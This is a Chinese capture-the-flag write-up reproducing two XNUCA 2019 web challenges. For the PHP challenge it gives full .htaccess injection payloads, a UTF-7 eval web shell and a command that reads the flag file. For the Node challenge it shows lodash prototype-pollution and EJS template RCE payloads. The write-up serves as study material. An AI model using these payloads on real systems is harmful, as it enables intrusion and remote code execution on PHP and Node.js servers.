XNUCA 2019 web 复现


前言

第一次打XNUCA,没想到参赛人数不多的一场比赛,题目的质量都异常的高,被打自闭了,哎,这里就进行一下题目的复现,tcl.jpg

Ezphp

直接给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

简单的看一遍,就是先删除当前文件夹下所有的文件除了index.php,再包含了一个fl3g.php的文件(这个文件是不存在的),之后我们可以自定义文件名,但是文件名只能由字母和点组成,而内容也有一定的过滤。

但是不难发现,.php可以直接写进去,那么我们先来尝试一下
p_1.png
没有解释(这里虽然有多余的话,但是本地上依然解析php,我们进入容器看一下)
--rw-r--r--. 1 www-data www-data 31 Aug 31 04:04 aaa.php
没有执行权限,badluck
这个时候,可以解析的php文件就只有index.php了,那么我们所需要尝试的就是如何将语句包含进入index.php

按照这个思路就就比较接近非预期解(预期解着实有点复杂,而且不容易想到,所以放在第二条),so let’s think

解法一

在无法解析的时候,我们对于php就无外乎是如何解析,这时候下意识就会思考到两个文件,apache.htaccess,和各种地方通用的.user,ini,这里可以简单的发现是apache的环境.

分析一下当前的困难

  1. 由于.htaccess不是fl3g.php,所以我们包含就需要使用auto_append_file,但是这个关键字是被ban掉的,即我们需要绕过
  2. 如果需要绕过我们需要使用伪协议,但是伪协议使用又会无法绕过filename的正则,所以又是麻烦
  3. .htaccess文件中无法正常处理后面添加的just one chance的语句,会出现报错

这里的正则表达式很有意思,就是使用了preg_match("/[^a-z\.]/", $filename) == 1而不是!==0这样就会出现歧义,preg_match有三种返回值

  1. 正则匹配到了 => 1
  2. 正则没有匹配到 => 0
  3. 正则发生了错误 => false

    这样这里就可以做文章了,那么上面什么时候会出错呢这个知识点在LCTF和code_break中出现过,就是当php回溯次数出现上限的时候,而回溯的次数是在php_ini中设定的,分别是pcre.backtrack_limit默认值是100000,在php7中还多了一个参数pcre.jit默认值是1。众所周知.htaccess可以更改php.ini的配置,因此我们可以

    1
    2
    3
    4
     
    php_value pcre.backtrack_limit 0
    php_value pcre.jit 0
    #aa\ //这里是为了注释掉最后添加的语句

    然后正则的匹配就被我们破坏了,即可伪协议注入payload

    1
    http://ip:port?content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess

p_3
由此我们就得到了一个shell,不过这个方式成功率不高,好像是生效需要时间

这里有意思的是在我们处理绕过困难三的时候,意外发现了处理困难二的方法,在文件中我们可以使用\来作为换行连接符,这样可以在绕过stristr的情况下又可以保证文件内容的合法性。

payload:

1
2
3
content=php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20eval%28%24_GET%5B%27a%27%5D%29%3B%3F%3E%5C&filename=.htaccess

a=system(%27cat%20../../../../../../../flag%27);exit;

得到flag
p_2.png

解法二(即官方解法)

这个解法就完全是按照源码的思路,想办法引入不存在的f13g.php,十分有趣,但又很难想到,只能说大佬tql

  1. 我们需要在指定的目录写入一个fl3g.php文件,且这个目录需要可以被包含
  2. 我们需要在文件里写入shell
  3. 目前也是.htaccess可用

这里大佬考虑到了,使用include_path这样我们就可以跨越目录进行文件的包含,同时我们也不会应为在当前目录下所以被删掉而导致尴尬。

那样我们如何写到一个指定的文件里呢,这里就用到了error_log,这会将错误的信息以html编码的形式写入log中,这样写入一句话木马会导致不可用。这时候就是很常见的做法,使用utf7编码来绕过。

最后就是如何触发error了:

  • 我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。

    这时候payload就浮现出来了

  • 我们先由此设定error_log的目录和用于产生错误的include_path

    1
    2
    3
    4
    php_value error_log /tmp/fl3g.php
    php_value error_reporting 32767
    php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8- compiler()+ADs"
    # \

    p_4.png

  • 我们再修改出正确的目录,并包含进入有木马的文件

    1
    2
    3
    4
    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \

    p_5.png

HardJS

哎,又是JS,看来不得不好好学学JS了

首先是对两个后端文件的粗略审计

  • robot.py里面写了一个会自动登录的脚本,账号是admin,而密码就是flag,其次就是flag的来源是当前环境的一个名为FLAG环境变量
  • server.js,应用的后端,展示了路由,以及各种功能,不过有一点是mysql在操作过程中使用参数化查询了,所以基本不存在注入的情况,由此我们基本可以放弃通过注入得到flag的想法了

    不过server.js的开头require了各种文件,进行查询了一下require的文件,就不难发现 CVE-2019-10744
    漏洞exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    const mergeFn = require('lodash').defaultsDeep;
    const payload = '{"constructor": {"prototype": {"a0": true}}}'

    function check() {
    mergeFn({}, JSON.parse(payload));
    if (({})[`a0`] === true) {
    console.log(`Vulnerable to Prototype Pollution via ${payload}`);
    }
    }

    check();

    由于给了源码查询一下版本,发现本题中的lodash也在版本中,所以本题存在原型链污染,由于原型链污染原理比较简单就不详细讲了这里推荐一个链接深入理解 JavaScript Prototype 污染攻击

    寻找lodash使用的地方

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    app.get("/get",auth,async function(req,res,next){
    ……
    var dataList = await query(sql, [userid]);

    if (dataList[0].count == 0) {
    res.json({})

    } else if (dataList[0].count > 5) { // if len > 5 , merge all and update mysql

    console.log("Merge the recorder in the database.");

    var sql = "select `id`,`dom` from `html` where userid=? ";
    var raws = await query(sql, [userid]);
    var doms = {}
    var ret = new Array();

    for (var i = 0; i < raws.length; i++) {
    lodash.defaultsDeep(doms, JSON.parse(raws[i].dom));

    var sql = "delete from `html` where id = ?";
    var result = await query(sql, raws[i].id);
    }
    var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
    var result = await query(sql, [userid, JSON.stringify(doms)]);
    ……
    }

    即在登录展示所有信息的时候会触发原型链污染。触发的条件是dataList[0].count > 5即,我们登录之后需要add,大于五条信息才行。

    /get的路由会在访问/时一起触发,因此,取了出来的数据就同时会带入res.render('index');,这时候来看看模板调用链,顺便学习一下如何跟踪。
    我们在代码中跟踪发现会有很多相同的declaration,这时候我们应该怎么选择呢?
    j_1
    这里我们就可以看到,我们的前缀是res,这一般就是所属的中间件的缩写,我们就按照这个思路来选择就可以了,因此这里我们就跟进response.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
      res.render = function render(view, options, callback) {
    var app = this.req.app;
    var done = callback;
    var opts = options || {};
    var req = this.req;
    var self = this;

    // support callback function as second arg
    if (typeof options === 'function') {
    done = options;
    opts = {};
    }

    // merge res.locals
    opts._locals = self.locals;

    // default callback to respond
    done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
    };

    // render
    app.render(view, opts, done);
    };

    看到最后就会发现进入了app.render,这时候我们又会遇到一样的问题
    j_2
    因此跟进到application.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
      app.render = function render(name, options, callback) {
    var cache = this.cache;
    var done = callback;
    var engines = this.engines;
    var opts = options;
    var renderOptions = {};
    var view;

    ……

    ……
    // render
    tryRender(view, renderOptions, done);
    };

    再跟进tryRender

    1
    2
    3
    4
    5
    6
    7
      function tryRender(view, options, callback) {
    try {
    view.render(options, callback);
    } catch (err) {
    callback(err);
    }
    }

    这里就不重复截图了,就是跟进View.js中的render了

    1
    2
    3
    4
      View.prototype.render = function render(options, callback) {
    debug('render "%s"', this.path);
    this.engine(this.path, options, callback);
    };

    再跟进.engine
    this.engine = opts.engines[this.ext];
    这时候就出现了新的问题,opts是啥,我们回到server.js我们可以看到第39行
    app.set('view engine', 'ejs')这时候我们的目标就明确了,最后模板进入了ejs.js中,我们只需要寻找到和合适的可以RCE的点即可。

    我们进入ejs.js最后,跟进到compile类中,这里我们可以进行搜索,因为我们是要RCE,所以先找eval可惜没有,就只能,找找变量拼接的地方
    j_3
    一眼就能看到两个,所以我们开始尝试利用

    payload1:

    1
    {"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}

    需要发送六次
    j_4
    然后访问/get再访问首页即可获得flag
    j_5

    payload2:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     {
    "content": {
    "constructor": {
    "prototype": {
    "outputFunctionName":"_tmp1;return process.env.FLAG;//;var __tmp2"
    }
    }
    },
    "type": "test"
    }

    j_6
    j_7

    参考链接

    https://xz.aliyun.com/t/6111#toc-9
    https://xz.aliyun.com/t/6101#toc-2
    https://xz.aliyun.com/t/6113#toc-6